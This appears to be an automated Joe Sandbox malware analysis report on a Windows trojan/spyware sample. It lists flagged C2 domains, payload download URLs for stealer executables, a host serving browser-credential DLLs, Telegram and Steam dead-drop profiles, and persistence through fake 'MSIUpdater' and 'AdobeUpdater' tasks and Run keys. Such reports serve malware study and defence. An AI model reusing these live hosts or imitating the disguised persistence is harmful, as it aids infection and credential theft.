https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	Avira URL Cloud	safe
https://t.me/	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/softokn3.dllEdge	100%	Avira URL Cloud	malware
https://web.telegram.org	0%	Avira URL Cloud	safe
https://falseaudiencekd.shop/e?	0%	Avira URL Cloud	safe
http://5.42.65.116/lumma1906_2.exes	100%	Avira URL Cloud	phishing
https://162.55.53.18:9000/sqlt.dll	100%	Avira URL Cloud	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/.53.18:9000/0	100%	Avira URL Cloud	malware
https://db-ip.com:443/demo/home.php?s=8.46.123.33j	0%	Avira URL Cloud	safe
http://5.42.65.116/rise1906.exe	100%	Avira URL Cloud	phishing
https://db-ip.com/?	0%	Avira URL Cloud	safe
https://162.55.53.18:9000/msvcp140.dllEdge	100%	Avira URL Cloud	malware
https://ipinfo.io/widget/demo/8.46.123.33	0%	Avira URL Cloud	safe
https://db-ip.com/9	0%	Avira URL Cloud	safe
http://5.42.65.116/vidar1906.exeance.com	100%	Avira URL Cloud	phishing
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	Avira URL Cloud	safe
https://db-ip.com:443/demo/home.php?s=8.46.123.33	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ipinfo.io	34.117.186.192	true	false	0%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	true	0%, Virustotal, Browse	unknown
db-ip.com	104.26.4.15	true	false	0%, Virustotal, Browse	unknown
justifycanddidatewd.shop	unknown	unknown	true	14%, Virustotal, Browse	unknown
richardflorespoew.shop	unknown	unknown	true	15%, Virustotal, Browse	unknown
strwawrunnygjwu.shop	unknown	unknown	true	14%, Virustotal, Browse	unknown
falseaudiencekd.shop	unknown	unknown	true	14%, Virustotal, Browse	unknown
raiseboltskdlwpow.shop	unknown	unknown	true	14%, Virustotal, Browse	unknown
marathonbeedksow.shop	unknown	unknown	true	15%, Virustotal, Browse	unknown
feighminoritsjda.shop	unknown	unknown	true	13%, Virustotal, Browse	unknown
pleasurenarrowsdla.shop	unknown	unknown	true	14%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://t.me/memve4erin	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
richardflorespoew.shop	true	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://5.42.65.116/lumma1906_2.exe	false	25%, Virustotal, Browse Avira URL Cloud: phishing	unknown
feighminoritsjda.shop	true	Avira URL Cloud: malware	unknown
strwawrunnygjwu.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
raiseboltskdlwpow.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://5.42.65.116/vidar1906.exe	false	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown
pleasurenarrowsdla.shop	true	Avira URL Cloud: safe	unknown
https://ipinfo.io/	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199699680841	true	Avira URL Cloud: malware	unknown
justifycanddidatewd.shop	true	Avira URL Cloud: safe	unknown
http://5.42.65.116/rise1906.exe	false	Avira URL Cloud: phishing	unknown
https://ipinfo.io/widget/demo/8.46.123.33	false	Avira URL Cloud: safe	unknown
marathonbeedksow.shop	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/;P	RegAsm.exe, 00000017.00000002.4149675758.0000000001292000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://feighminoritsjda.shop/	RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://5.42.65.116/rise1906.exe~R	RegAsm.exe, 00000003.00000002.1876914616.0000000005773000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ipinfo.io/=s	RegAsm.exe, 00000003.00000002.1875513113.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/7	RegAsm.exe, 00000017.00000002.4149531990.0000000001230000.00000004.00000020.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://db-ip.com/	RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://falseaudiencekd.shop/api	RegAsm.exe, 0000002D.00000002.1894402221.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://raiseboltskdlwpow.shop/	RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/risepro	RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/msvcp140.dll	RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://162.55.53.18:9000/G	RegAsm.exe, 00000017.00000002.4149531990.0000000001230000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://162.55.53.18:9000/softokn3.dll	RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/freebl3.dllO.&d	RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://162.55.53.18:9000/vcruntime140.dll000/nss3.dll	RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://richardflorespoew.shop/P?	RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000AEBMac	RegAsm.exe, 00000017.00000002.4148168459.0000000000453000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.exif/1b	RegAsm.exe, 00000003.00000002.1876041110.000000000149D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://strwawrunnygjwu.shop/api	RegAsm.exe, 0000002D.00000002.1894402221.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://162.55.53.18:9000/l	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://t.me/risepro_bot33	RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000al	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	1kBeqS7E3z.exe, 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, JNXEsB3lt_ta57yvH0nX.exe, 0000000B.00000002.1855690126.0000000000068000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000C.00000002.1889587614.0000000000A48000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 00000010.00000002.1932454219.0000000000A48000.00000004.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	false	Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORT	RegAsm.exe, 0000000E.00000002.1910899704.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1945728277.000000000158A000.00000004.00000020.00020000.00000000.sdmp, U4XS0oCaLxVS1ZKFaAUvhYs.zip.3.dr	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/nss3.dlloft	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://justifycanddidatewd.shop/apie	RegAsm.exe, 0000001F.00000002.1850230800.0000000001124000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp, kDUu8k2pH1QBHistory.3.dr, CBGHCA.23.dr, YN77R9Xqtqt0History.3.dr	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/vcruntime140.dll;NTd&	RegAsm.exe, 00000017.00000002.4149696062.000000000129B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	false	URL Reputation: safe	unknown
https://162.55.53.18:9000/2f2b3osoft	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://162.55.53.18/;	RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	D87fZN3R3jFeplaces.sqlite.3.dr	false	URL Reputation: safe	unknown
https://162.55.53.18:9000/vcruntime140.dll	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://richardflorespoew.shop/api	RegAsm.exe, 0000001F.00000002.1850230800.0000000001124000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.1850230800.000000000111B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002D.00000002.1894402221.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002D.00000002.1894402221.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://162.55.53.18:9000/freebl3.dll	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.maxmind.com/en/locate-my-ip-address	RegAsm.exe	false	Avira URL Cloud: safe	unknown
http://5.42.65.116/lumma1906_2.exelF	RegAsm.exe, 00000003.00000002.1876952475.000000000579F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ns.adp/1.0/	RegAsm.exe, 00000003.00000002.1876041110.000000000149D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/softokn3.dll2	RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://richardflorespoew.shop/	RegAsm.exe, 0000002D.00000002.1894402221.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	kDUu8k2pH1QBHistory.3.dr, CBGHCA.23.dr, YN77R9Xqtqt0History.3.dr	false	Avira URL Cloud: safe	unknown
https://justifycanddidatewd.shop/api	RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://162.55.53.18:9000/mozglue.dll	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://162.55.53.18:9000/.53.18:9000/	RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ipinfo.io/#	RegAsm.exe, 0000002C.00000002.1945728277.00000000015CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://db-ip.com/demo/home.php?s=8.46.123.33d	RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/nss3.dll$	RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ipinfo.io:443/widget/demo/8.46.123.33	RegAsm.exe, 00000003.00000002.1875513113.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	D87fZN3R3jFeplaces.sqlite.3.dr	false	Avira URL Cloud: safe	unknown
https://t.me/	RegAsm.exe, 00000017.00000002.4149119694.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/softokn3.dllEdge	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.telegram.org	RegAsm.exe, 00000017.00000002.4149119694.0000000001141000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.0000000000453000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://falseaudiencekd.shop/e?	RegAsm.exe, 0000001F.00000002.1850230800.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://5.42.65.116/lumma1906_2.exes	RegAsm.exe, 00000003.00000002.1876952475.000000000579F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://162.55.53.18:9000/sqlt.dll	RegAsm.exe, 00000017.00000002.4148168459.0000000000491000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp, kDUu8k2pH1QBHistory.3.dr, CBGHCA.23.dr, YN77R9Xqtqt0History.3.dr	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/.53.18:9000/0	RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://db-ip.com:443/demo/home.php?s=8.46.123.33j	RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://db-ip.com/?	RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/msvcp140.dllEdge	RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://db-ip.com/9	RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.65.116/vidar1906.exeance.com	RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	kDUu8k2pH1QBHistory.3.dr, CBGHCA.23.dr, YN77R9Xqtqt0History.3.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	false	URL Reputation: safe	unknown
https://db-ip.com:443/demo/home.php?s=8.46.123.33	RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/risepro_bot:	RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/vcruntime140.dllUser	RegAsm.exe, 00000017.00000002.4148168459.0000000000453000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://db-ip.com/demo/home.php?s=8.46.123.33rl9	RegAsm.exe, 0000002C.00000002.1946130070.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/risepro_botrisepro	RegAsm.exe, 00000003.00000002.1875513113.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://db-ip.com/J	RegAsm.exe, 0000000E.00000002.1911199753.0000000001531000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/vcruntime140.dllw	RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000017.00000002.4154237798.000000001B9BD000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, sqlt[1].dll.23.dr	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/d	RegAsm.exe, 0000000E.00000002.1910899704.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://richardflorespoew.shop/T	RegAsm.exe, 0000002D.00000002.1894402221.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/freebl3.dllQ.	RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://162.55.53.18:9000/vcruntime140.dllc	RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	GCBGII.23.dr, kl0jrgyIxoShWeb Data.3.dr, PnyjCEPqoDB2Web Data.3.dr, ZBGIzoCvJpJYWeb Data.3.dr	false	Avira URL Cloud: safe	unknown
https://162.55.53.18:9000/	RegAsm.exe, 00000017.00000002.4149531990.000000000123A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4149342219.0000000001179000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4149531990.0000000001230000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4148168459.000000000056E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
Https://162.55.53.18:9000al	RegAsm.exe, 00000017.00000002.4148168459.0000000000453000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://162.55.53.18:9000tel	RegAsm.exe, 00000017.00000002.4148168459.00000000004D5000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/widget/demo/8.46.123.33o98	RegAsm.exe, 00000003.00000002.1875513113.00000000011C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
162.55.53.18	unknown	United States	35893	ACPCA	false
5.42.67.8	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
104.26.4.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true
5.42.65.116	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1459871
Start date and time:	2024-06-20 06:48:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1kBeqS7E3z.exe renamed because original name is a hash value
Original Sample Name:	9f7d8785aa5e359848ebe4d771f3de8d.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@71/60@12/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 78 Number of non-executed functions: 51
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): WerFault.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20, 13.89.179.12
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:49:11	API Interceptor	4x Sleep call for process: WerFault.exe modified
00:49:14	API Interceptor	9706996x Sleep call for process: RegAsm.exe modified
05:49:12	Task Scheduler	Run new task: MSIUpdaterV168_bdca866007fb255201297d2a15a49513 HR path: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
05:49:12	Task Scheduler	Run new task: MSIUpdaterV168_bdca866007fb255201297d2a15a49513 LG path: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
05:49:14	Task Scheduler	Run new task: MSIUpdaterV168_22594e13276480dd456a8441babc227b HR path: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe
05:49:14	Task Scheduler	Run new task: MSIUpdaterV168_22594e13276480dd456a8441babc227b LG path: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe
05:49:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513 C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe
05:49:15	Task Scheduler	Run new task: MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06 HR path: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe
05:49:15	Task Scheduler	Run new task: MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06 LG path: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe
05:49:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_22594e13276480dd456a8441babc227b C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe
05:49:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06 C:\Users\user\AppData\Local\AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06\AdobeUpdaterV168.exe
05:49:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513 C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe
05:50:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_22594e13276480dd456a8441babc227b C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe
05:50:30	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06 C:\Users\user\AppData\Local\AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06\AdobeUpdaterV168.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	HP-patchedUS-deobfuscated.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/
	HP-patchedUS-deobfuscated.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/
	HP-patchedUS-deobfuscated.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/
	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
162.55.53.18	auTs24fNru.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
